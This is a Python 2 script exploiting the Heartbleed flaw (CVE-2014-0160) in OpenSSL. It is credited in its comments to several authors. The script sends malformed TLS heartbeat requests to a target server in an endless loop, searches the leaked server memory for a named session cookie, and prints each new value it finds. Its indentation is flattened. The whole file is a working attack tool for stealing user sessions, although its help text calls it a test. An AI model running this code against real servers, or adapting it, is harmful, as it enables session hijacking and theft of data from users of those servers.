#!/usr/bin/python
# Modified by Samiux (on April 10, 2014) which is based on the code of Michael Davis.
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import select
import sys
import string
import struct
import socket
import time
from optparse import OptionParser
options = OptionParser(usage=\'%prog server [options]\', description=\'Test for SSL heartbeat vulnerability (CVE-2014-0160)\')
options.add_option(\'-p\', \'--port\', type=\'int\', default=443, help=\'TCP port to test (default: 443)\')
options.add_option(\'-c\', \'--cookie\', type=\'str\', default=\'session\', help=\'Cookie to look for (default: session)\')
options.add_option(\'-l\', \'--length\', type=\'int\', default=1024, help=\'Length of the cookie (default: 1024)\')
def h2bin(x):
return x.replace(\' \', \'\').replace(\'\\n\', \'\').decode(\'hex\')
hello = h2bin(\'\'\'
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
\'\'\')
hb = h2bin(\'\'\'
18 03 02 00 03
01 40 00
\'\'\')
class HeartBleeder(object):
server_response = None
socket = None
found_sessions = set()
hostname = \'\'
port = 0
cookie = \'\'
cookie_length = 0
def __init__(self, hostname=\'\', port=0, cookie=\'\', cookie_length=0):
self.hostname = hostname
self.cookie = cookie
self.port = port
self.cookie_length = cookie_length
def connect(self):
"""
Connects to the remote server.
"""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
self.socket.connect((self.hostname, self.port))
sys.stdout.flush()
self.socket.send(hello)
sys.stdout.flush()
def rcv_response(self):
while True:
_type, version, payload = self.rcv_message()
if _type is None:
print \'Server closed connection without sending Server Hello.\'
return
# Look for server hello done message.
if _type == 22 and ord(payload[0]) == 0x0E:
break
def rcv_message(self):
record_header = self.rcv_all(5)
if record_header is None:
print \'Unexpected EOF receiving record header - server closed connection\'
return None, None, None
_type, version, line = struct.unpack(\'>BHH\', record_header)
payload = self.rcv_all(line, 10)
if payload is None:
print \'Unexpected EOF receiving record payload - server closed connection\'
return None, None, None
return _type, version, payload
def rcv_all(self, length, timeout=5):
endtime = time.time() + timeout
rdata = \'\'
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([self.socket], [], [], 5)
if self.socket in r:
data = self.socket.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def try_heartbeat(self):
self.socket.send(hb)
while True:
_type, version, self.payload = self.rcv_message()
if _type is None:
print \'No heartbeat response received, server likely not vulnerable\'
return False
if _type == 24:
# print \'Received heartbeat response:\'
self.parse_response()
if len(self.payload) > 3:
pass
else:
print \'Server processed malformed heartbeat, but did not return any extra data.\'
return True
if _type == 21:
print \'Received alert:\'
self.hexdump(self.payload)
print \'Server returned error, likely not vulnerable\'
return False
def parse_response(self):
"""
Parses the response from the server for a session id.
"""
ascii = \'\'.join((c if 32 <= ord(c) <= 126 else \' \')for c in self.payload)
index = string.find(ascii, self.cookie)
if index >= 0:
info = ascii[index:index + self.cookie_length]
session = info.split(\' \')[0]
session = string.replace(session, \';\', \'\')
if session not in self.found_sessions:
self.found_sessions.add(session)
print session
def hexdump(self, payload):
"""
Prints out a hexdump in the event that server returns an error.
"""
for b in xrange(0, len(payload), 16):
line = [c for c in payload[b:b + 16]]
hxdat = \' \'.join(\'%02X\' % ord(c) for c in line)
pdat = \'\'.join((c if 32 <= ord(c) <= 126 else \'.\')for c in line)
print \' %04x: %-48s %s\' % (b, hxdat, pdat)
print
def scan(self):
self.connect()
self.rcv_response()
self.try_heartbeat()
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
print \'Port :\', opts.port
print \'Cookie :\', opts.cookie
print \'Length :\', opts.length
print \'\'
while True:
heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
heartbeat.scan()
if __name__ == \'__main__\':
main()